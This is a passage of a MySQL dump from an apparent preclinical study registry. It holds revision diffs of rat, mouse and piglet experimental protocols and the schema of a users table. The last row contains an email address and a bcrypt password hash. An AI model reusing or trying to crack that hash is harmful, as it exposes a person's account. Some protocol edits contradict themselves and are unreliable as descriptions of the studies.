peroxydation solution in order to wash the tissue from blood waste. Brains will be washed again and will be blocked using either albumin or natural goat serum (since our secondary antibody is obtained from goat). Then, samples will be let for 72 hours with primary antibody, which is rabbit anti- c-Fos. After that, samples will be washed again and will be exposed for an hour to a secondary antibody, which is goat anti-rabbit. Samples will be washed again and will be exposed to ABC solution, containing the biotin-avidin complex. Finally, after washing again our samples, they will be revealed using DAB (di-aminobenzydine) and hydrogen peroxyde. They will then be dehydrated using increasing concentrations of ethanol and xylol.\",\"new_value\":\"35 adult male Wistar rats (250\\u2212 300 g) will be used as experimental subjects. Animals will be implanted bilaterally with cannulas aimed at either the BLA or CeA. Rats will be allowed 7 days to recover. After recovery, rats will be randomly assigned to five groups: W4S1, W3S2, S5, W3S2-Scop, W3S2-Sal. Next, they will be water-deprived overnight after which they will be allowed to drink fluid for 10 minutes twice a day in a training chamber containing 10 water-filled 3mL burettes, one session in the morning and another in the afternoon. Taste solutions are presented during the morning sessions, the afternoon session serving to habituate the rats to the drinking chamber and schedule and prevent dehydration. The group labeled as W4S1 will be given water on the first four days and saccharine on the fifth day. The group W3S2 will be given water on days 1, 2 and 4; and saccharine on days 3 and 5. The group S5 will be given saccharine each of the five days of our experiment. The group W3S2-Scop will serve as our intervention group and will be given water on days 1, 2, and 4; and saccharine on days 3 and 5, with scopolamine infused directly in basolateral amygdala via the previously described cannulae. The group W3S2-Sal will serve as our sham group and will be given water on days 1, 2, and 4; and scopolamine on days 3 and 5, with saline solution being infused through the previously described cannulae.  \\n\\n\\nIn particularly described cases, the drugs will be administered either 1) 5 min before novel taste presentation; 2) immediately after novel taste presentation; 3) 5 min before retrieval, i.e. the second taste presentation on day 5 or 4) both 5 min before novel taste and 5 min before retrieval.\\n\\nThe data will be analyzed with a mixed two-way ANOVA with one repeated (familiarity: first, second etc. presentation) and one non repeated measure: the drug.\\n\\nDifferences between groups will be considered significant when  p&lt;0.05\\n\\nThirty minutes after exposure on the fifth day, rats will be sacrificed. Brains will be perfused with paraformaldehyde and extracted. Coronal slices will be obtained using a microtome. A calculated sample size of 6 brains per group will be analyzed. Tissues will be washed using PBS (phosphate-buffered saline solution) and will be exposed to antigen retrieval on boiling water. Samples will be washed again, submerged into a peroxydation solution in order to wash the tissue from blood waste. Brains will be washed again and will be blocked using either albumin or natural goat serum (since our secondary antibody is obtained from goat). Then, samples will be let for 72 hours with primary antibody, which is rabbit anti- c-Fos. After that, samples will be washed again and will be exposed for an hour to a secondary antibody, which is goat anti-rabbit. Samples will be washed again and will be exposed to ABC solution, containing the biotin-avidin complex. Finally, after washing again our samples, they will be revealed using DAB (di-aminobenzydine) and hydrogen peroxyde. They will then be dehydrated using increasing concentrations of ethanol and xylol.\"}]','2022-03-01 22:38:33','2022-03-01 22:38:33'),
	(243,278,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"intervention\",\"number\":\"1\",\"intervention\":\"intra-BLA scopolamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"intra-CeA  scopolamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"intra-BLA scopolamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"intra-CeA  scopolamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"intra-BLA scopolamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"intra-CeA scopolamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"intra-BLA M1 antagonist Pirenzepine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M1 antagonist Pirenzepine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"intra-BLA M2 antagonist metroctamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"13\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"14\",\"intervention\":\"intra-BLA M2 antagonist metroctamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"17\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"19\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"20\",\"intervention\":\"intra-CeA  vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"21\",\"intervention\":\"intra-BLA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"22\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"23\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"24\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"25\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"26\",\"intervention\":\"intra-CeA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"27\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"28\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"29\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"30\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"31\",\"intervention\":\"intra-CeA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"32\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA scopolamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA  scopolamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA scopolamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA  scopolamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA scopolamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA scopolamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M1 antagonist Pirenzepine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M1 antagonist Pirenzepine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M1 antagonist Pirenzepine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M2 antagonist metroctamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-BLA M2 antagonist metroctamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"intervention\",\"number\":\"9\",\"intervention\":\"intra-CeA M2 antagonist metroctamine infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA  vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-BLA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately after intake of novel taste in the formation of memory incidental taste.\"},{\"type\":\"control\",\"number\":\"9\",\"intervention\":\"intra-CeA vehicle infusions immediately before retrieval in the formation of memory incidental taste.\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"To obtain the sample size, we used the following formula:\\n\\nSSC= (2) SD2 (Z\\u03b1\\/2+ Z\\u03b2) 2 \\/ d2.\\n\\nWith a type 1 error of 5% and power of 80% and applied it to a previously published study using saccharin volume as the outcome  (Gutierrez and Bermudez-Rattoni 2003, European Journal of Neuroscience) as well as a pilot study we performed ourselves (data not shown). We determined to use the average of the two results for our sample size.\\n\\nWe obtained a result of 9 rats per group; we will plan 10 per group to account for attrition (Charan &amp; Kantaria, 2013 Journal of Pharmacology and Pharmacothera\\u00e9utics). We aimed to use 2 groups per intervention (Drug or Vehicle) for the 16 interventions with a total number of 320 animals taking in to account for attrition.\",\"new_value\":\"To obtain the sample size, we used the following formula:\\n\\nSSC= (2) SD2 (Z\\u03b1\\/2+ Z\\u03b2) 2 \\/ d2.\\n\\nWith a type 1 error of 5% and power of 80% and applied it to a previously published study using saccharin volume as the outcome  (Gutierrez and Bermudez-Rattoni 2003, European Journal of Neuroscience) as well as a pilot study we performed ourselves (data not shown). We determined to use the average of the two results for our sample size.\\n\\nWe obtained a result of 9 rats per group; we will plan 10 per group to account for attrition (Charan &amp; Kantaria, 2013 Journal of Pharmacology and Pharmacothera\\u00e9utics). We aimed to use 2 groups per intervention (Drug or Vehicle) for the 32 interventions with a total number of 288 animals taking in to account for attrition.\"}]','2022-03-02 05:25:43','2022-03-02 05:25:43'),
	(244,152,'[{\"key\":\"study_stage\",\"old_value\":\"study_stage_2_value\",\"new_value\":\"study_stage_1_value\"},{\"key\":\"study_status\",\"old_value\":\"completed_but_not_published\",\"new_value\":\"completed_and_published_full-text\"}]','2022-03-24 19:12:42','2022-03-24 19:12:42'),
	(245,164,'[{\"key\":\"end_date\",\"old_value\":\"2021-12-31\",\"new_value\":\"2023-03-01\"},{\"key\":\"start_date\",\"old_value\":\"2020-04-01\",\"new_value\":\"2022-03-01\"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"}]','2022-03-24 19:13:51','2022-03-24 19:13:51'),
	(246,249,'[{\"key\":\"study_status\",\"old_value\":\"active\",\"new_value\":\"completed_and_published_full-text\"}]','2022-03-24 19:14:30','2022-03-24 19:14:30'),
	(247,270,'[{\"key\":\"primary_readout_parameter\",\"old_value\":\"CPR time to achieve ROSC.\",\"new_value\":\"Number of piglets achieving ROSC\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Our primary outcome measure is CPR time to achieve ROSC. Our pilot studies showed a mean (standard deviation) time to ROSC of 700 (120) seconds during CPR with CCaV technique. We hypothesized that CC+SI technique will reduce CPR time to achieve ROSC. A sample size of 28 piglets (14 per group) will be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 700 sec vs. 560 sec), with 80% power and a 2-tailed alpha error of 0.05.\",\"new_value\":\"Our primary outcome measure was number of piglets achieving ROSC. We previously reported that 42% of pediatric piglets achieved ROSC using CCaV[3]. We hypothesized that a sample size of 28 piglets (14 per group) will be sufficient to detect a 100% increase in piglets achieving ROSC (i.e., 40% to 80%), with 90% power and a 2-tailed alpha error of 0.05.\"}]','2022-03-24 19:15:27','2022-03-24 19:15:27'),
	(248,152,'[{\"key\":\"link_to_data\",\"old_value\":\"\",\"new_value\":\"https:\\/\\/pubmed.ncbi.nlm.nih.gov\\/34284596\\/\"}]','2022-03-25 14:30:29','2022-03-25 14:30:29'),
	(249,249,'[{\"key\":\"link_to_data\",\"old_value\":\"\",\"new_value\":\"https:\\/\\/pubmed.ncbi.nlm.nih.gov\\/34330756\\/\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/33541920\\/\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/35135850\\/\"}]','2022-03-25 14:32:00','2022-03-25 14:32:00'),
	(250,283,'[{\"key\":\"experimental_design\",\"old_value\":\"The research was conducted at the Biology Laboratory, Faculty of Science and Technology, State Islamic University of Sunan Kalijaga, Yogyakarta, Indonesia. 50 male Sprague-Dawley rats (4 weeks) weighing between 200 - 250 g were obtained from the Animals Model Yogyakarta farm, Indonesia, and transported to the research site. The animals are grouped and placed in cages and kept under laboratory standard conditions (temperature: 27 \\u00b1 2 oC), with a light-dark cycle (12\\/12 hours) and relative humidity of 50\\u201360%. The mice were acclimatized with laboratory conditions for 10 days before the start of the experiment. During the entire experiment, the mice were given ad libitum access to standard animal feed or pellets from Rat Bio\\u00ae by PT Citra Ina Feedmill and drinking water. After a 10-day adaptation period, the mice were randomly divided into four groups of 10 individuals each. The research protocol (use of experimental animals) refers to the Helsinki Declaration and the Council for International Organizations of Medical Sciences (CIOMS), as well as this research protocol has obtained online ethical approval (http:\\/\\/sim-epk.keppkn.kemkes.go.id) of RSUP Prof. Dr. RD. Kandou, Manado with No. 202100061637171011P321252022031700008. In addition, all experimental procedures are carried out per the Institutional Animal Care and Use Committee (ARRIVE guidelines).\\nDuring the experiment, the animals were monitored daily for any specific signs of impaired well-being (e.g. loss of appetite, ruffling, lethargy, apathy, hiding, cowering) by a professional veterinarian. Each week they are also checked for specific signs of declining health and weighed. The detailed characteristics of the experimental group are presented below:\\n\\u2022\\tCON-NORM \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tCON-NEG* \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water, \\n\\u2022\\tSG-L* \\u2013 control group with 2.7 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tSG-M*\\u2013 control group with 5.4 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tSG-H*\\u2013 control group with 10.8 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water.\\nThe dose of sea grapes is given and performed by a certified and certified professional. Mice from four groups marked with &quot;Star(*)&quot; on the 38th day of life were given 7,12-Dimethylbenz[a]anthracene (C20H16; DMBA; PubChem CID: 6001) in doses of 80 mg\\/kgBW (16 mg\\/200g BB) for the induction of mammary gland tumors. Carcinogenic agents dissolved in horseradish oil (Rapeseed oi) and given as an intragastric solution (Rapeseed oil (RO) were selected as DMBA deliverers because they were shown not to affect the profile of biohydrogenation products, intermediates, and conjugated fatty acids (CFAs) in the content of rumen and selected animal tissues). During the entire experiment, daily intake of animal feed and drinking fluids was monitored and did not differ between the control group and the experimental group. After probation (21 weeks) the rat was beheaded, removed his blood and taken his heart or cardiac and liver or hepatic, weighed, and stored at a temperature of -80 oC for further analysis. The analysis includes:\\n1.\\tFA analysis in cardiac tissue\\n2.\\tindex of atherogenicity (AI)\\n3.\\tindex of thrombogenicity (TI)\\n4.\\thypo\\/hypercholesterolemic index (HH)\\n5.\\tCFA analysis in cardiac tissue\\n6.\\tMalondialdehyde (MDA) analysis in cardiac tissue\\n7.\\tTotal cholesterol, \\n8.\\tsqualene and oxysterols \\n9.\\tanalysis in cardiac tissue\\n10.\\tMicrosomal enzyme COX-2 (hepatic tissue)\\n11.\\tMicrosomal enzyme CYP1B1 (hepatic tissue)\\n12.\\tMalondialdehyde (MDA) analysis in hepatic tissue\\nComposition of Feed or Pellets \\nPellets from Rat Bio\\u00ae by PT Citra Ina Feedmill has composition consist of: moisture 12%, protein 20%, fat 4%, fiber 14% calcium 1%, phosphor 0.7%, total ash 11.5%, vitamin C: 0.3% and vitamin E 0.1%. It\\u2019s recommended to store it in a cold or cool and dry place and avoid contact with direct sunlight.\",\"new_value\":\"The research was conducted at the Biology Laboratory, Faculty of Science and Technology, State Islamic University of Sunan Kalijaga, Yogyakarta, Indonesia. 50 male Sprague-Dawley rats (4 weeks) weighing between 200 - 250 g were obtained from the Animals Model Yogyakarta farm, Indonesia, and transported to the research site. The animals are grouped and placed in cages and kept under laboratory standard conditions (temperature: 27 \\u00b1 2 oC), with a light-dark cycle (12\\/12 hours) and relative humidity of 50\\u201360%. The mice were acclimatized with laboratory conditions for 10 days before the start of the experiment. During the entire experiment, the mice were given ad libitum access to standard animal feed or pellets from Rat Bio\\u00ae by PT Citra Ina Feedmill and drinking water. After a 10-day adaptation period, the mice were randomly divided into five groups of 10 individuals each. The research protocol (use of experimental animals) refers to the Helsinki Declaration and the Council for International Organizations of Medical Sciences (CIOMS), as well as this research protocol has obtained online ethical approval (http:\\/\\/sim-epk.keppkn.kemkes.go.id) of RSUP Prof. Dr. RD. Kandou, Manado with No. 202100061637171011P321252022031700008. In addition, all experimental procedures are carried out per the Institutional Animal Care and Use Committee (ARRIVE guidelines).\\nDuring the experiment, the animals were monitored daily for any specific signs of impaired well-being (e.g. loss of appetite, ruffling, lethargy, apathy, hiding, cowering) by a professional veterinarian. Each week they are also checked for specific signs of declining health and weighed. The detailed characteristics of the experimental group are presented below:\\n\\u2022\\tCON-NORM \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tCON-NEG* \\u2013 control group without sea grapes supplementation, given a standard diet and ad libitum water, \\n\\u2022\\tSG-L* \\u2013 control group with 2.7 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tSG-M*\\u2013 control group with 5.4 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water,\\n\\u2022\\tSG-H*\\u2013 control group with 10.8 mg\\/200gBW sea grapes supplementation, given a standard diet and ad libitum water.\\nThe dose of sea grapes is given and performed by a certified and certified professional. Mice from four groups marked with &quot;Star(*)&quot; on the 38th day of life were given 7,12-Dimethylbenz[a]anthracene (C20H16; DMBA; PubChem CID: 6001) in doses of 80 mg\\/kgBW (16 mg\\/200g BB) for the induction of mammary gland tumors. Carcinogenic agents dissolved in horseradish oil (Rapeseed oi) and given as an intragastric solution (Rapeseed oil (RO) were selected as DMBA deliverers because they were shown not to affect the profile of biohydrogenation products, intermediates, and conjugated fatty acids (CFAs) in the content of rumen and selected animal tissues). During the entire experiment, daily intake of animal feed and drinking fluids was monitored and did not differ between the control group and the experimental group. After probation (21 weeks) the rat was beheaded, removed his blood and taken his heart or cardiac and liver or hepatic, weighed, and stored at a temperature of -80 oC for further analysis. The analysis includes:\\n1.\\tFA analysis in cardiac tissue\\n2.\\tindex of atherogenicity (AI)\\n3.\\tindex of thrombogenicity (TI)\\n4.\\thypo\\/hypercholesterolemic index (HH)\\n5.\\tCFA analysis in cardiac tissue\\n6.\\tMalondialdehyde (MDA) analysis in cardiac tissue\\n7.\\tTotal cholesterol, \\n8.\\tsqualene and oxysterols \\n9.\\tanalysis in cardiac tissue\\n10.\\tMicrosomal enzyme COX-2 (hepatic tissue)\\n11.\\tMicrosomal enzyme CYP1B1 (hepatic tissue)\\n12.\\tMalondialdehyde (MDA) analysis in hepatic tissue\\nComposition of Feed or Pellets \\nPellets from Rat Bio\\u00ae by PT Citra Ina Feedmill has composition consist of: moisture 12%, protein 20%, fat 4%, fiber 14% calcium 1%, phosphor 0.7%, total ash 11.5%, vitamin C: 0.3% and vitamin E 0.1%. It\\u2019s recommended to store it in a cold or cool and dry place and avoid contact with direct sunlight.\"},{\"key\":\"hypothesis\",\"old_value\":\"Given the fact that tumors show a great affinity for PUFAs and thus may affect the content of other FA\'s, especially conjugated fatty acids (CFAs) in nearby tissues, it is hypothesized that this influence may also be revealed in heart tissue, depending on physiological or pathological conditions. Therefore, the main subject of the study was to assess whether supplementation of sea grape extract affected FA content, including CFA in the hearts of female mice with chemically induced breast tumors. The supplements used can also affect cholesterol content and oxidative stress on heart tissue, which can also be affected by accompanying diseases. Thus, the impact of supplementation applied to lipid peroxidation was evaluated by measurement of the content of MDA and oxysterols in heart tissue as well as microsomal enzymes (COX-2 and CYP1B1).\",\"new_value\":\"Given the fact that tumors show a great affinity for Polyunsaturated fatty acids (PUFAs) and thus may affect the content of other FA\'s, especially conjugated fatty acids (CFAs) in nearby tissues, it is hypothesized that this influence may also be revealed in heart tissue, depending on physiological or pathological conditions. Therefore, the main subject of the study was to assess whether supplementation of sea grape extract affected FA content, including CFA in the hearts of female mice with chemically induced breast tumors. The supplements used can also affect cholesterol content and oxidative stress on heart tissue, which can also be affected by accompanying diseases. Thus, the impact of supplementation applied to lipid peroxidation was evaluated by measurement of the content of MDA and oxysterols in heart tissue as well as microsomal enzymes (COX-2 and CYP1B1).\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"The sample is calculated using the Federer formula: (n-1) (t-1) 15, where n = number of repetitions or replications, t = number of groupings.\",\"new_value\":\"The sample is calculated using the Federer formula: (n-1)(t-1)&gt;15, where n = number of repetitions or replications, t = number of groupings. (n-1) (5-1)&gt;15; 5n -n -5 +1 &gt; 15; 4n -4&gt;15; 4n&gt; 19; n&gt; 4,75 or 5. The minimum number of samples is 5, the researcher chose ten in order to minimize bias and become a proposal for further research.\"}]','2022-03-26 16:27:02','2022-03-26 16:27:02'),
	(251,277,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"W4-S1\",\"intervention\":\"Seven rats will be given water on the first four days of experiment and will be presented saccharine for the first time on the fifth day.\"},{\"type\":\"control\",\"number\":\"W3-S2\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5.\"},{\"type\":\"control\",\"number\":\"S5\",\"intervention\":\"Seven rats will be given saccharine each of the five days within our experiment.\"},{\"type\":\"intervention\",\"number\":\"W3S2-Scop\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5. Scopolamine will be infused via a cannula in the basolateral amygdala.\"},{\"type\":\"sham\",\"number\":\"W3S2-Veh\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4. Saccharine will be presented on day 3 and day 5. Saline solution will be infused via a cannula in the basolateral amygdala.\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on the first four days of experiment and will be presented saccharine for the first time on the fifth day.\"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5.\"},{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Seven rats will be given saccharine each of the five days within our experiment.\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5. Scopolamine will be infused via a cannula in the basolateral amygdala.\"},{\"type\":\"sham\",\"number\":\"7\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4. Saccharine will be presented on day 3 and day 5. Saline solution will be infused via a cannula in the basolateral amygdala.\"}]}]','2022-03-30 23:08:57','2022-03-30 23:08:57');

/*!40000 ALTER TABLE `revisions` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table role_user
# ------------------------------------------------------------

DROP TABLE IF EXISTS `role_user`;

CREATE TABLE `role_user` (
  `user_id` bigint(20) unsigned NOT NULL,
  `role_id` bigint(20) unsigned NOT NULL,
  KEY `role_user_user_id_foreign` (`user_id`),
  KEY `role_user_role_id_foreign` (`role_id`),
  CONSTRAINT `role_user_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE,
  CONSTRAINT `role_user_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;



# Dump of table roles
# ------------------------------------------------------------

DROP TABLE IF EXISTS `roles`;

CREATE TABLE `roles` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `roles` WRITE;
/*!40000 ALTER TABLE `roles` DISABLE KEYS */;

INSERT INTO `roles` (`id`, `name`)
VALUES
	(1,'admin');

/*!40000 ALTER TABLE `roles` ENABLE KEYS */;
UNLOCK TABLES;


# Dump of table users
# ------------------------------------------------------------

DROP TABLE IF EXISTS `users`;

CREATE TABLE `users` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `first_name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `last_name` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email_verified_at` timestamp NULL DEFAULT NULL,
  `password` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `institution` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `users_email_unique` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;

INSERT INTO `users` (`id`, `first_name`, `last_name`, `email`, `email_verified_at`, `password`, `institution`, `remember_token`, `created_at`, `updated_at`)
VALUES
	(1,'René','Dooley','gordon@metaxis.com',NULL,'$2y$10$zp.k0CImzDYXabOmw8r15esJjvWq0kXpjRQO5bbGipwK3nTCXldQC','Metaxis',NULL,'2022-03-31 13:16:54','2022-03-31 13:16:54'),
